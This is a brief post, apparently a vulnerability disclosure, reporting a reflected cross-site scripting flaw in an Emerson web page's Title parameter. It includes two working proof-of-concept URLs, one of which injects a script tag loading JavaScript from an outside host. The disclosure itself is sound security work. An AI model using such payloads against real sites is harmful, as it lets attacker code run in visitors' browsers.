One of the pages in Emerson site are rendering the query string parameter without any inspection. This makes it possible to inject malicious content as shown below: http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cimg%20src='http://www.emerson.com/SiteCollectionImages/local/united-states/english/fastpath/INBDB%2020110225.jpg'%3E http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cscript%20src=%22http://madhur.github.com/files/js/site.js%22%20type=%22text/javascript%22%3E -- Madhur